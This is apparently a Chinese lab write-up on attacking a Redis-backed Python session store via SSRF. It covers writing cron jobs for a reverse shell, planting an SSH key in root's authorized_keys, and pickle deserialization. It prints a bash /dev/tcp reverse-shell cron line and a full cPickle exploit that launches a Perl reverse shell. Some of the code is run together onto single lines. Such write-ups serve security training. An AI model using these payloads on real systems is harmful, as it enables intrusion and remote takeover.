当前位置: 首页 > news >正文

网络安全-shire写任务计划、反弹shell、写私钥、反序列化

目录

一、环境

二、 介绍

三、开始做题

 四、写公钥


一、环境

网上自己找

二、 介绍

我们经过前面文章很清楚知道,shiro是将数据存储在内存当中,内存落盘实现一个数据存储,而当其结合python,python将登录的session存储到shiro里面就会造成一个反序列化漏洞

看看环境

登录信息存到session

序列化一个引擎

 序列化存入

那我们就需要反序列化的方式取出

pass:python序列化的两个方法pickle.dumps、pickle.loads 

三、开始做题

很明显的ssrf题目

接下来就是猜目录,但是这个靶场给了我们利用工具

 其实跟我们之前用的工具差不多一样,我们还是一样解码看它干了什么

一模一样正常的反弹shell操作如fiushall等等

攻击机接shell

 反馈是okokok我们等一分钟看看情况

很明显反弹回来了

 所以我们进入docker环境下看看它的任务计划有没有写成功

但是ubentu和centos的反弹不一样

ubentu是写在这个任务计划目录下的,ubentu的反弹并不稳定,因为其中涉及权限不能是644,得是600,第二个邮件服务器,第三个坑点/bin/sh指向dash,而我们反弹shell是bash

总结一下:

补充另一种方法:

*/1 * * * *  bash -c "bash -i  >&/dev/tcp/123.207.x.x/1234 0>&1"

不用修改链接指向,直接在sh下执行bash -c。

 四、写公钥

脚本上是写到/root/.ssh这个目录下authorized_keys这个文件里面

我这里生成一对公钥和私钥

 还是一样用centos去测试,写公钥看一下

 很明显它是写入了

我们直接可以免密登录了 

五、反序列化

我们正常登录可以看到session值

看shiro里面的存储

 我们将其复原一下,很明显是python反序列化的形式

看看主页源码,一开始加载的是login,然后提交给index,之后走到login.html下

 那我们要做的就是写一个恶意的session值写入redies里面去,然后它读出来的时候反序列化,那我们首要任务是先写

我们不能用原有的session,因为创建完后会覆盖回去,我们就改一下尾数

它生成的这个相当于是换行请求 

 但是我在实验的时候发现官方好像把这个换行符给修复了,因为靶场是两年前国外的,所以也算正常

看一下源码吧,它很明确的写出httplib是因为有一个换行符的漏洞所以会造成泄露

 没事,我自己写了一个反序列化的代码,我们看能否写入即可,验证为止

#!/usr/bin/env pythonimport cPickle
import os
import redis
import base64class exp(object):def __reduce__(self):s = """perl -e 'use Socket;$i="192.168.139.138";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""return (os.system, (s,))e = exp()
s = base64.b64encode(cPickle.dumps(e))r = redis.Redis(host='192.168.139.138', port=6379, db=0)
r.set("session:", s)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • TikTokDownloader 开源项目操作教程
  • Koa (下一代web框架) 【Node.js进阶】
  • Spring Mybatis 基本使用 总结
  • [数据集][目标检测]智慧养殖场肉鸡健康状态检测数据集VOC+YOLO格式4657张2类别
  • 基于centos7.9搭建SFTP服务
  • 【机器学习随笔】PCA降维与SVD
  • 【记录】大模型|Windows 下 Hugging Face 上的模型的通用极简调用方式之一
  • react + antDesignPro 企业微信扫码登录
  • Java 之反射机制详解
  • MySQL中的LIMIT与ORDER BY关键字详解
  • go/函数
  • 从IPC摄像机读取视频帧解码并转化为YUV数据到转化为Bitmap
  • DeepSeek 2.5本地部署的实战教程
  • 7--SpringBoot-后端开发、原理详解(面试高频提问点)
  • Web后端开发技术:RESTful 架构详解
  • 「译」Node.js Streams 基础
  • 【附node操作实例】redis简明入门系列—字符串类型
  • AWS实战 - 利用IAM对S3做访问控制
  • GitUp, 你不可错过的秀外慧中的git工具
  • Magento 1.x 中文订单打印乱码
  • springboot_database项目介绍
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • 给自己的博客网站加上酷炫的初音未来音乐游戏?
  • 更好理解的面向对象的Javascript 1 —— 动态类型和多态
  • 官方解决所有 npm 全局安装权限问题
  • 技术胖1-4季视频复习— (看视频笔记)
  • 目录与文件属性:编写ls
  • 使用agvtool更改app version/build
  • 使用common-codec进行md5加密
  • 提醒我喝水chrome插件开发指南
  • 正则学习笔记
  • 【运维趟坑回忆录 开篇】初入初创, 一脸懵
  • 1.Ext JS 建立web开发工程
  • Android开发者必备:推荐一款助力开发的开源APP
  • C# - 为值类型重定义相等性
  • #LLM入门|Prompt#3.3_存储_Memory
  • $(selector).each()和$.each()的区别
  • $.each()与$(selector).each()
  • (C++17) optional的使用
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (Ruby)Ubuntu12.04安装Rails环境
  • (翻译)Entity Framework技巧系列之七 - Tip 26 – 28
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (论文阅读23/100)Hierarchical Convolutional Features for Visual Tracking
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • (算法)Travel Information Center
  • (译) 函数式 JS #1:简介
  • (原創) 系統分析和系統設計有什麼差別? (OO)
  • (转)甲方乙方——赵民谈找工作
  • (轉貼) 蒼井そら挑戰筋肉擂台 (Misc)
  • *算法训练(leetcode)第四十七天 | 并查集理论基础、107. 寻找存在的路径
  • .apk 成为历史!
  • .cfg\.dat\.mak(持续补充)
  • .NET使用存储过程实现对数据库的增删改查
  • .NET值类型变量“活”在哪?